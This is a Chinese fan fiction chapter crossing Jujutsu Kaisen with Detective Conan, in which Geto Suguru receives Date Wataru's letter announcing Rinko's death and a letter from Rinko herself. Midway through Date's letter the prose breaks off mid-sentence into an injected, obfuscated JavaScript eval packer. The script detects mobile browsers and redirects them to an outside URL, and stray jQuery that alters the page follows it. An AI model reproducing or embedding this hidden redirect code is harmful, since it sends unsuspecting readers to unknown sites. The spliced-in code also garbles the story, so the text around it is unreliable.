“五条,你有没有感觉他哪里有点不对劲?”
“我超懂,那种魂不守舍的状态!好像在担心什么又装作若无其事的样子非常杰。”
“难道是被昨天的电影感动到回去偷偷哭了一晚上?”
“哈?那部完全没有任何值得落泪的地方吧?我倒宁愿相信他是被夏气熏到中暑。”
“这么一说瞬间合理了起来。”
咒高一年级的学生没有太多的任务安排,于是一有空五条悟和家入硝子拉上夏油杰,三人猫在空调房里。
倒也不是有特定的活动安排,只是为了能够吹上凉爽的冷风才聚在一起。
交头接耳的两人完全没有避讳话题的对象仍然与他们共处一室,或者说这种当着他人面的八卦行为与直接趴在对方耳朵边讲,其实没有什么两样。
但是话题的中心人物完全不想理睬,他只想把自己埋进懒人沙发中,用回归母体般的包裹感重新找回安全感。
夏油杰是个彻头彻尾的冬天主义者。
一开始其实只是为了扮酷。那种在暑气散尽后的黄昏时分飘飘然登场的角色,总是穿着薄外套或者白衬衫吧?和大汗淋漓的主角团说些高深莫测的话,潇洒离去。
但等到意识到的时候,长袖已经变成长在他身上的一层皮肤,用力撕扯会连部分的自我一同剥离。
不过真到四十多度的高温天时还是会适当性低头的,只是其他时候,他一直在忍耐。
忍耐被阴雨打湿后的黏腻,忍耐汗液划过脊椎留下的痒意。
因此,他总是在夏天毫无干劲。
不管是烈日下被炙烤的额头,还是被空调风吹得僵硬的后颈,都在举行罢工抗议游行。
况且今年的夏天格外吵。
蝉鸣每日从清晨开始报早,比公鸡打鸣还要准时,吵得他早早醒来。
等到夜幕低垂,后山池塘里的□□又继续接力,一阵接着一阵,势必要跑赢这个夏天。
他曾尝试寻找声响的来源,但每每靠近时,那些声响就被自动向左拨弄旋钮,直到完全静音。
《呐喊》来到日本巡展的时候,他曾有机会亲眼目睹一二。诚实地说,他当时并不理解为什么这幅类似小孩涂鸦画的作品能够世界闻名,即使在听过导览解说后也是。*
现在的他有些开始理解了。
那是一幅为无处宣泄之物准备的出口。
他已经递出了自认为万分真诚的回答,等待着凛子考官批阅考卷,在下次相遇时公布所得分数。分数高者留下,分数低者或订正考卷,或离开考场,全看考官心情。
只是他已等待许久,久到不禁怀疑这场考试是否真实存在,甚至想过追到考官面前询问自己的得分情况。
考官曾经罚下的黄牌劝退了他的求知欲。
如此,他只能忐忑坐等对方的宣告。
这次她应该不会再忘记回信了吧?在定下承诺后。
还是说,她被其他事情绊住了手脚,一时抽不开身?
那也不至于要这么久吧。
原本只是调侃,现在自己真的要变成浦岛太郎了。
他的心中隐隐围绕着一丝不安,就像是穿习惯衬衫后突然换成圆领T恤那样。失去了纽扣的束缚和长袖的包裹感,禁锢的身体无所适从,暴露在外的部分被周遭凝视、穿透,想要立刻钻回黑暗中。
这种不安感在接收到感应准备打开柜门的那一刻达到了巅峰。
有一股...自己并不熟悉的气息。
两封信,一封上面有着陌生的字迹。
---
初次见面,或许也是最后一次见面。
原本我并不是最适合写这封信的那个人选。萩原和松田正在忙着操办仪式相关的事项,降谷和诸伏联络不上,虽然给他们留了时间和地址,但出现的概率约等于零吧。
虽然还是很难想象......但我们共同记忆中的那个凛子,已经不在了。
很抱歉这么迟以后才告知你,以这种形式。
车辆失控即将撞向行人,路过的凛子挺身而出,被急救车送往医院后因为颅内大出血严重,最终抢救失败。
重症监护室的护士后来和我们说,她一直在努力保持清醒,直到等到我们几人赶来,交代完一切后才放心进入手术室。
我们本以为按照她当时的情况本该往乐观考虑,却不想还是天意弄人。
我想,对于我们任何人而言,失去凛子都是一场难以走出的痛苦。
松田和萩原二人一直和凛子走得很近,有时候他们三人之间的氛围时常会让人发出感叹:原来这就是一起长大的幼驯染之间的相处模式么。和诸伏与降谷之间有些类似,但又有一些微妙的不同。以前我并没有察觉到那究竟是什么,但现在想来,凛子她一直在当他们二人的“定心丸”吧。
降谷和诸伏虽然总是绑定出现,但是降谷那家伙没有出席现场我是最意外的。我本以为,好感对象兼同期的告别式现场,再怎么忙也得来吊唁一下吧。凛子那个木头应该没有和你提起过吧?或者应该说,她完全没有察觉到一点。男生对于自己喜欢的女生,总是一边拌嘴一边给对方递慰问品啊。
凛子是我的恩人,对我和娜塔莉都是。她救了因为熬夜而反应不及时的我,从疲劳驾驶的车辆手里。同行的后辈当初被吓哭,而我还懵在原地思考凛子究竟是从哪冒出来的。娜塔莉后来某次和我说,在得知我差点出意外后,曾试想过如果有一天我真的出意外了,那她就会立刻随我而去。
她对你来说也应该一样重要吧?毕竟在最后一刻她还在叮嘱着我们,一定要把信件交到你的手上。萩原那家伙甚至在赌气,说着什么藏头露尾的家伙哪配凛子一直记挂在心上,如果不是仪式结束后我们再聚时聊起,不然他大概会把她提前写好的那封藏一辈子吧。
但我知道,她一直有把你视作最珍贵的朋友,正如她对待我们的那样。我记得在警校毕业式的时候,她还特地问萩原的姐姐拷贝了一份照片,说是要寄给某人留作纪念。
还请你不要因为她的离世而难过,我知道我们是一样的心情,但对凛子来说,她只想看到朋友的笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096531|195633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颜吧?
珍重
伊达航
---
好久不见。
在上封信之后又过了许久,你最近过得如何?
我的生活又再次发生了变化,怎么说呢,变化对我而言已经变成了一种常态,波澜不惊的日子反倒变成了不被习惯的那一方了。
我被调到了其他组,无奖竞猜,是哪个组?
当当当,正是降谷零所在的那个小组。
哈,人生真是无常啊。
阴差,阳错。
偏偏不早不晚,在hiro牺牲后才舍得让我如愿。
嘛,不过这下大概可以给hiro赎罪了,毕竟那家伙肯定最放心不下的就是自己的发小了。
安心吧hiro,那家伙可好着呢。他现在已经变成整个小组的负责人了哦,连行动组都是以他的名字命名的。
转组前的上司告诉我,有行动级别更高的小组负责人主动提出要挖我过去,我大概就已经猜个八九不离十了,但没想到这家伙竟然有两幅面孔。
明明再过两年就要变成三十代的人了,却还顶着一张娃娃脸,训斥下属的时候不留一点情面,我还曾经在茶水间撞见过风间在偷偷掉眼泪呢。
换做是谁也无法把这个人和在入组培训时偷偷朝自己wink的人联系起来吧?虽然当时他是那个主讲人。
我实名举报,此男其实是组内最会摸鱼的人!报告都丢给下属来写,甚至买衣服的时间都要压缩出来,留出更多时间是为了,去!钓鱼!*
啊啊啊这人难道没有良心的么?把修车任务留给我就算了,还以上司的名义一大清早把我叫出来和他一起锻炼,我好不容易熬夜写完文书的怨念都要肉眼可见了啊。
要不是zero那家伙还算有些同期之情,时不时私下请我吃顿饭,不然我真的要化身邪恶比格犬撕烂他的安全屋了。
特别是按照计划救完班长后,他压榨得变本加厉了起来。
我真的不会轻易死掉的,虽然zero总是用担心的眼神在看我。
入职公安之前我就做好准备了,自己在这一世将有个忙碌的后半生作为代价。别看我累得只剩半口气吊着,其实只要睡一觉就可以满血复活了。
hiro的死虽然对我打击很大,但我这不是已经走出来了么?救班长是在计划内,受伤自然也是在所难免的。
真的没有想过自杀这种事情啊,我承诺过要好好珍惜小圆给的重生机会的。
只不过有时候熬夜赶周报死线的时候,会忍不住想,是不是但凡我被少卡个几年提早转入公安,一切就会变得不一样了呢?
但那也只是深夜的黑泥时刻啊!每个人都有过的吧!
唉,或许这个世界上唯一知道我真实想法的只有杰你了吧。
回见,那家伙又喊我去帮他跑腿了。
Ps.真是的,要打三份工的人明明是他,为什么我也要被连带责任啊。
清和凛子
---
她没有收到他的回信,他又错过了。